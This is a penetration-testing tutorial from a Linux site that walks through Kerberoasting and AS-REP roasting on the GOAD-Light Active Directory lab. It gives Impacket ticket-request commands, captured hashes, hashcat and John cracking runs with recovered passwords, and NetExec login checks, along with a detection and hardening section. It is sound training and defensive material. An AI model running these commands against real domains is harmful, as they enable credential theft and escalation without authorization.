Kerberoasting and AS-REP Roasting on Active Directory

Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package python3-impacket 0.13.0+git
impacket-scripts 1.10
hashcat 7.1.2
john 1.9.0
Lab environment Proxmox lab
Cert prep CompTIA PenTest+ PT0-003 — Domain 4b (Authentication and AD attacks)
Privilege Any domain user for Kerberoasting; no password for AS-REP roasting of misconfigured accounts; sudo on Kali for DNS on the management NIC
Scope Kerberoasting with impacket-GetUserSPNs, AS-REP roasting with impacket-GetNPUsers, offline crack with hashcat or John the Ripper, and credential verification on GOAD-Light. Does not cover pass-the-hash, NTLM relay, password spraying, or lateral movement — those are separate lessons.
Short on time?Beta Get the gist of this 13-minute read in seconds, then ask follow-up questions

You recovered a valid domain credential from Responder, password spraying, or another authorized path. What next? Kerberoasting lets that low-privilege account request service tickets for SPN accounts, while AS-REP roasting can work with only a valid username when pre-authentication is disabled.

Kerberoasting targets user or service accounts that have an SPN. Any authenticated domain user can request a TGS for that SPN; the ticket contains data encrypted with a long-term key derived from the service account's password. That encrypted material can be attacked offline to recover a weak password. AS-REP roasting targets accounts with DONT_REQ_PREAUTH set. You request AS-REP encrypted material with no password at all.

This lesson answers both questions on GOAD-Light from Kali: request the tickets with Impacket, crack them offline, and verify the recovered password still works.

IMPORTANT
Kerberoasting and AS-REP roasting are illegal on systems you do not own or are not explicitly authorized to test. Domain controllers log TGS and AS-REQ traffic. Agree scope and detection expectations in your rules of engagement before you run these commands.

Kerberoasting and AS-REP roasting quick start

With any valid domain credential on GOAD-Light, request Kerberos service tickets and save crackable hashes in one step:

bash
impacket-GetUserSPNs -request -dc-ip 10.10.10.21 \
  north.sevenkingdoms.local/robb.stark:sexywolfy -outputfile kerberoast.txt
output
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName                                 Name         MemberOf
---------------------------------------------------  -----------  ----------------------------------------------------------
HTTP/eyrie.north.sevenkingdoms.local                 sansa.stark  CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
CIFS/winterfell.north.sevenkingdoms.local            jon.snow     CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local
HTTP/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local
MSSQLSvc/castelblack.north.sevenkingdoms.local       sql_svc
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433  sql_svc

The table lists Kerberoastable accounts. The -request flag also writes $krb5tgs$23$... lines to kerberoast.txt — one encrypted blob per requested ticket.

AS-REP roasting needs no password when pre-authentication is disabled on the target account:

bash
impacket-GetNPUsers north.sevenkingdoms.local/brandon.stark \
  -no-pass -dc-ip 10.10.10.21 -format hashcat
output
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for brandon.stark
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:6ef77d0be123ae1263e500c64bdb4718$...

Kerberoasting requires a valid domain login; AS-REP roasting can return crackable material for a pre-auth-disabled account without its password.

Pull out the jon.snow hash and crack it with John (mode krb5tgs):

bash
grep 'jon.snow' kerberoast.txt > jon.hash
gunzip -c /usr/share/wordlists/rockyou.txt.gz > rockyou.txt
john --format=krb5tgs jon.hash --wordlist=rockyou.txt
output
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
iknownothing     (?)

John recovered iknownothing for jon.snow in our lab run. The sections below explain why that worked, how AS-REP roasting differs, and how to repeat the workflow with your own wordlists and targets.

Kerberoasting vs AS-REP roasting

Both attacks recover crackable Kerberos material. The entry requirement and the hash format differ.

Question Kerberoasting AS-REP roasting
What you need first Any valid domain username and password No password — only a username list
What is vulnerable Service account with an SPN and a crackable password (SPN registration is normal Kerberos behavior) Account with DONT_REQ_PREAUTH set
Ticket you request TGS (service ticket) AS-REP (initial authentication response)
Hash prefix (lab) $krb5tgs$23$... (RC4) $krb5asrep$23$... (RC4)
Typical tool on Kali impacket-GetUserSPNs -request impacket-GetNPUsers -no-pass
MITRE ATT&CK T1558.003 T1558.004

Kerberoasting vs AS-REP roasting flow — domain user requests TGS for SPN accounts versus no-password AS-REQ for DontReqPreAuth accounts

A few terms used throughout this lesson:

  • SPN — identifies a service instance in Active Directory.
  • TGS — service ticket requested for an SPN.
  • Pre-authentication — proves password knowledge before the KDC returns the normal AS-REP.

Kerberoasting does not require admin rights. That surprises many defenders: a low-privilege user such as robb.stark can request tickets for jon.snow, sansa.stark, and sql_svc as long as those accounts have registered SPNs.

AS-REP roasting is even lighter on prerequisites. If you can guess or enumerate a username with pre-authentication disabled, the domain controller returns AS-REP encrypted material you can crack offline without proving you know the password first.

Prepare GOAD-Light for Kerberos attacks

Kerberos is picky about DNS and time. Set lab variables once per shell on Kali:

bash
LAB_IF=eth1
LAB_DC_CHILD=10.10.10.21
DOMAIN_CHILD=north.sevenkingdoms.local
LAB_USER=robb.stark
LAB_PASS=sexywolfy
export LAB_IF LAB_DC_CHILD DOMAIN_CHILD LAB_USER LAB_PASS
Variable Role in this lesson
LAB_IF NIC on the isolated vmbr1 segment (10.10.10.0/24)
LAB_DC_CHILD Child domain controller winterfell
DOMAIN_CHILD Kerberos realm for GOAD-Light child domain

Ensure Kali resolves the AD domain through the lab domain controller. In this isolated lab, /etc/resolv.conf was temporarily pointed at 10.10.10.21; on NetworkManager-managed systems, configure DNS on the lab connection instead.

Temporary lab method used in our runs:

bash
sudo cp /etc/resolv.conf /etc/resolv.conf.bak
echo "nameserver $LAB_DC_CHILD" | sudo tee /etc/resolv.conf

Restore your resolver when you leave the lab segment.

Confirm the lab interface is up before you request tickets:

bash
ip -br a show "$LAB_IF"
output
eth1             UP             10.10.10.10/24

Kali packages a development snapshot of Impacket, so commands may report an upstream development version such as 0.14.0.dev0 even though the Kali package version is based on 0.13.0.

Find Kerberoastable accounts before you request tickets

BloodHound answers "which accounts matter?" before you burn GPU time. Its List all Kerberoastable Accounts query flagged jon.snow, sansa.stark, and sql_svc in our GOAD-Light graph.

From the shell, enumerate SPNs without requesting crackable tickets yet:

bash
mkdir -p ~/kerb-lab && cd ~/kerb-lab
impacket-GetUserSPNs -dc-ip "$LAB_DC_CHILD" "$DOMAIN_CHILD/$LAB_USER:$LAB_PASS"

The same table from Quick Start appears. User or service accounts returned by GetUserSPNs with registered SPNs are Kerberoast candidates. Computer accounts also have SPNs, but their automatically managed passwords make them a different practical target class. jon.snow carries both CIFS/winterfell... and HTTP/thewall... SPNs, which is why one user can produce multiple hash lines.

Prioritize targets with:

  • Privileged group membership or high-value service access shown in BloodHound
  • User-managed service accounts rather than machine accounts — password age, privilege, and service access determine the practical impact of a crack
  • Accounts using RC4 when AES is expected in the environment
  • Attack-path relevance from BloodHound rather than username appearance

Kerberoast service accounts with GetUserSPNs

Add -request to pull TGS tickets and write hashes to a file:

bash
impacket-GetUserSPNs -request -dc-ip "$LAB_DC_CHILD" \
  "$DOMAIN_CHILD/$LAB_USER:$LAB_PASS" -outputfile kerberoast.txt

Each $krb5tgs$23$*username$REALM$... line contains ticket data encrypted with the service account's password-derived key. Offline cracking never touches the domain controller again until you try the recovered password.

When you already know which account to test, request one user's ticket instead of roasting every SPN in the domain:

bash
impacket-GetUserSPNs -request-user jon.snow -dc-ip "$LAB_DC_CHILD" \
  "$DOMAIN_CHILD/$LAB_USER:$LAB_PASS" -outputfile jon-roast.txt

Use -request-user when you already know which SPN account you need to test. It avoids requesting tickets for unrelated accounts and keeps the output focused.

To roast one account from a bulk file, filter the hash file:

bash
grep 'jon.snow' kerberoast.txt > jon.hash
wc -l jon.hash
output
1 jon.hash

jon.snow carries two SPNs in GOAD-Light, but both map to the same account key. Cracking one valid ticket for that account is enough to test the underlying password — duplicate SPN lines do not represent distinct credential targets.

AS-REP roast accounts without Kerberos pre-auth

AS-REP roasting does not need LAB_PASS. GOAD-Light ships brandon.stark with DONT_REQ_PREAUTH enabled — the same account BloodHound flags with Find AS-REP Roastable Users.

Request AS-REP encrypted material for a known username:

bash
impacket-GetNPUsers "$DOMAIN_CHILD/brandon.stark" -no-pass \
  -dc-ip "$LAB_DC_CHILD" -format hashcat -outputfile asrep.txt
output
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for brandon.stark
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:6ef77d0be123ae1263e500c64bdb4718$13cc4f64f833948cd6f6179c879517d04a7816e03cb45335ee03179f224f9993e177393a69d443f6e6e543ad61303fc4495db07ea343a6d29f200b93f4e297c337b2c2898ab5460e0dc1c6dda37c051fd4e008b412e04ec7978e580cfae2095da5a610d8b48cb314b741334090b4005e06f0cbaa1a1930d50540112a8f5dcd347d79ed009c1836cc67d1ca90b2b72dc945eca97df30223297afb6ff6585054d4f2e4678ffd7801ca0c6750e8573174b64fb4dc2c1127f3cac8c0af32cf877a700feeca9f3e4a41136c51ead5a0d02acb1354ca598eabfb19db185c84f6a94bbb8beb4ef9d9b4425871c8b85292e870ab95e4b7ab7f6c564735b6bba167e6a68a7130c13a316d

Impacket labels the step Getting TGT in the console, but the crackable line is AS-REP encrypted material from the response — not a reusable ticket-granting ticket you can pass around. A $krb5asrep$23$... line means the account is AS-REP roastable.

When you have a username list from password spraying or SMTP and SMB enumeration, test every name at once. Build the full list in the spray lesson (~/spray-lab/north-users.txt), or seed a short file for AS-REP-only practice:

bash
mkdir -p ~/spray-lab
printf '%s\n' brandon.stark arya.stark sansa.stark jon.snow > ~/spray-lab/north-users.txt

Run bulk AS-REP roasting against that file:

bash
impacket-GetNPUsers "$DOMAIN_CHILD/" -usersfile ~/spray-lab/north-users.txt \
  -no-pass -dc-ip "$LAB_DC_CHILD" -format hashcat -outputfile asrep-all.txt

Only accounts with pre-authentication disabled produce $krb5asrep$... output. Other usernames may produce status or error messages but no crackable hash.

Operators on Windows attack hosts use Rubeus for the same workflow (kerberoast / asreproast). This lesson stays on Kali and Impacket; the hash lines feed the same hashcat or John modes below.

Crack Kerberos hashes offline

Offline cracking is where weak service-account passwords fall. Use hashcat when OpenCL is available, or John the Ripper on CPU-only lab VMs.

GOAD-Light returned etype 23 (RC4) in this lab, so the walkthrough below uses hashcat modes 13100 and 18200. Modern domains may return AES etype 17 or 18, which require different modes. Always read the $krb5tgs$<etype>$ or $krb5asrep$<etype>$ prefix before you pick a mode:

Material etype Encryption Hashcat mode
TGS-REP (Kerberoast) 23 RC4 13100
TGS-REP (Kerberoast) 17 AES128 19600
TGS-REP (Kerberoast) 18 AES256 19700
AS-REP 23 RC4 18200
AS-REP 17 AES128 32100
AS-REP 18 AES256 32200

If an AES etype 17/18 hash fails unexpectedly despite a known test password, first verify the exact Impacket build and output format — AES handling has changed across Impacket development versions, and Kali packages a development snapshot.

Decompress rockyou.txt once — Kali ships it gzipped:

bash
gunzip -c /usr/share/wordlists/rockyou.txt.gz > rockyou.txt

Crack Kerberoast hashes (mode 13100 in this lab)

Feed the single-hash file to hashcat with mode 13100 for the RC4 TGS-REP tickets GOAD-Light returned:

bash
hashcat -m 13100 jon.hash rockyou.txt

Mode 13100 is Kerberos 5 TGS-REP etype 23 (RC4). For AES tickets, use 19600 or 19700 instead. Show cracked lines with:

bash
hashcat -m 13100 jon.hash --show

Crack AS-REP hashes (mode 18200 in this lab)

Isolate the brandon.stark line, then run mode 18200 for the RC4 AS-REP material GOAD-Light returned:

bash
grep brandon asrep.txt > brandon.hash
hashcat -m 18200 brandon.hash rockyou.txt
hashcat -m 18200 brandon.hash --show

Mode 18200 is Kerberos 5 AS-REP etype 23 (RC4). For AES AS-REP material, use 32100 or 32200.

John the Ripper fallback (CPU)

Our Proxmox Kali image had no OpenCL runtime installed, so hashcat exited immediately. John cracked the same hashes on CPU:

bash
john --format=krb5tgs jon.hash --wordlist=rockyou.txt
john --show --format=krb5tgs jon.hash
output
?:iknownothing

1 password hash cracked, 0 left

For the AS-REP hash:

bash
john --format=krb5asrep brandon.hash --wordlist=rockyou.txt
john --show --format=krb5asrep brandon.hash
output
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:iseedeadpeople

1 password hash cracked, 0 left

Install an OpenCL runtime such as pocl-opencl-icd on Kali if you want hashcat on CPU; GPU drivers unlock the speed advantage hashcat is known for.

Verify recovered passwords against the domain

A cracked line is not done until the password still authenticates. Test with NetExec:

bash
nxc smb "$LAB_DC_CHILD" -u jon.snow -p iknownothing -d "$DOMAIN_CHILD"
output
SMB                      10.10.10.21     445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB                      10.10.10.21     445    WINTERFELL       [+] north.sevenkingdoms.local\jon.snow:iknownothing

The [+] line confirms the Kerberoast recovered a live password. Feed stronger accounts into BloodHound or NetExec remote execution only when scope allows — jon.snow sits on attack paths toward higher privilege in GOAD-Light.

Detect and harden against Kerberos roasting

Blue teams watch for unusual TGS request patterns, unexpected service-account targeting, and accounts configured without Kerberos pre-authentication.

Signal What to monitor
Kerberoasting Event ID 4769 — unusual TGS request volume or service-account targeting; RC4 (0x17) requests are an additional high-value signal in environments expected to use AES
AS-REP roasting Event ID 4768 where Pre-Authentication Type is 0, especially for accounts not expected to have pre-authentication disabled
Weak service accounts gMSAs or managed service accounts instead of user accounts with SPNs; long random passwords
AS-REP exposure No account should keep DONT_REQ_PREAUTH unless a legacy app truly requires it

Attackers rarely need elevated rights for Kerberoasting, so prevention beats detection alone: remove SPNs from user accounts where possible, prefer AES and disable unnecessary RC4 to increase cracking cost, and use long random service-account passwords or gMSAs because AES tickets remain roastable.

Troubleshooting

Symptom Likely cause Fix
KDC_ERR_C_PRINCIPAL_UNKNOWN Wrong domain or username Confirm DOMAIN_CHILD and spelling; enumerate users with nxc ldap --users
KDC_ERR_PREAUTH_FAILED Bad password for the roasting account Re-check creds from Responder or spray logs
KRB_AP_ERR_SKEW / Kerberos clock-skew errors Kali time differs too much from the domain controller Sync Kali time with the authorized lab DC and retry
GetUserSPNs table empty No SPNs on user accounts in scope Use BloodHound Kerberoastable query; expand user list
GetNPUsers returns nothing No DONT_REQ_PREAUTH accounts in the user file Enumerate more names; confirm with BloodHound AS-REP query
hashcat reports no OpenCL platform Missing GPU/OpenCL runtime on Kali Use John --format=krb5tgs / krb5asrep, or install pocl-opencl-icd
john finds no match Password not in wordlist Try rules, larger lists, or targeted masks for service-account naming patterns
Cracked password but nxc fails Typo, expired password, or smartcard-only account Re-copy from --show; confirm account is not expired in AD

Summary

Kerberoasting abuses legitimate TGS requests against service accounts with SPNs. AS-REP roasting targets accounts with pre-authentication disabled — you request crackable AS-REP encrypted material with no password at all. On GOAD-Light, impacket-GetUserSPNs -request with robb.stark returned RC4 tickets for jon.snow, sansa.stark, and sql_svc; John cracked jon.snow to iknownothing, and impacket-GetNPUsers against brandon.stark yielded AS-REP material that cracked to iseedeadpeople.

Use BloodHound to pick targets before you roast, match the etype in each hash line to the correct hashcat mode (13100/18200 for RC4 in this lab; 19600/19700/32100/32200 for AES), and verify recovered passwords with NetExec. Kerberoasting is a common internal pivot because it needs only a single valid domain login — not admin rights on the domain controller.

When you hold a stronger account, move to path mapping or NetExec remote execution rather than roasting every SPN in the domain in one burst, which generates defensive noise.

References

Frequently Asked Questions

Can a normal domain user perform Kerberoasting?

Yes. Any authenticated domain user can request service tickets for accounts with registered SPNs. That is why Kerberoasting is so common after you recover a single low-privilege credential from Responder or password spraying — domain admin rights are not required.

What is the difference between Kerberoasting and AS-REP roasting?

Kerberoasting abuses service accounts with SPNs — you need any valid domain login, request TGS tickets, and crack $krb5tgs$ material. AS-REP roasting targets accounts with Kerberos pre-authentication disabled — you need only a username, request an AS-REP with -no-pass, and crack $krb5asrep$ material.

Which hashcat mode do I use for Kerberoast hashes?

For the RC4/etype 23 hashes produced in this GOAD-Light lab, use -m 13100 for TGS-REP and -m 18200 for AS-REP. AES-based Kerberos material uses different modes — check the etype in the hash prefix first: 19600/19700 for AES TGS-REP (etype 17/18) and 32100/32200 for AES AS-REP.

Why did password spraying show "Got AS-REP but couldn't decrypt"?

That message means the account has pre-authentication disabled — the spray password was wrong, but the account is AS-REP roastable. Pivot to impacket-GetNPUsers instead of treating it as a failed spray.

Can I Kerberoast from BloodHound alone?

BloodHound tells you which accounts are Kerberoastable or AS-REP roastable. You still need Impacket, Rubeus, or an equivalent tool to request tickets and produce hash lines for offline cracking.

Is a Kerberoast hash the same as an NTLM hash?

No. Kerberoast material is ticket data encrypted with the service account's Kerberos long-term keys. You crack it offline to recover the account password. NTLM hashes and NetNTLM challenge-response captures come from different protocols and use different hashcat modes.

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Deepak Prasad

R&D Engineer

Founder of GoLinuxCloud with 15+ years of expertise in Linux, Python, Go, Laravel, DevOps, Kubernetes, Git, Shell scripting, OpenShift, AWS, Networking, and Security. With extensive experience, he excels across development, DevOps, networking, and security, delivering robust and efficient solutions for diverse projects.

Expertise
  • Go (programming language)
  • Python (programming language)
  • DevOps
  • Computer Security
  • Cloud Computing
  • Kubernetes
  • Linux
  • Ansible (software)

Related Articles

security

Establish Persistence on Linux and Windows After Initial Access

Learn Linux and Windows persistence techniques after initial access — cron, SSH keys, systemd, scheduled …

16 min readsecurity

PowerView Active Directory Enumeration with PowerShell

PowerView AD enumeration on GOAD-Light — load PowerSploit PowerView on castelblack, run Get-Domain, …

14 min readsecurity

Lateral Movement on Windows with PsExec, WMI, and WinRM

Learn Windows lateral movement with PsExec, WMI, WinRM, NetExec, and Evil-WinRM — find admin-capable hosts and …

16 min read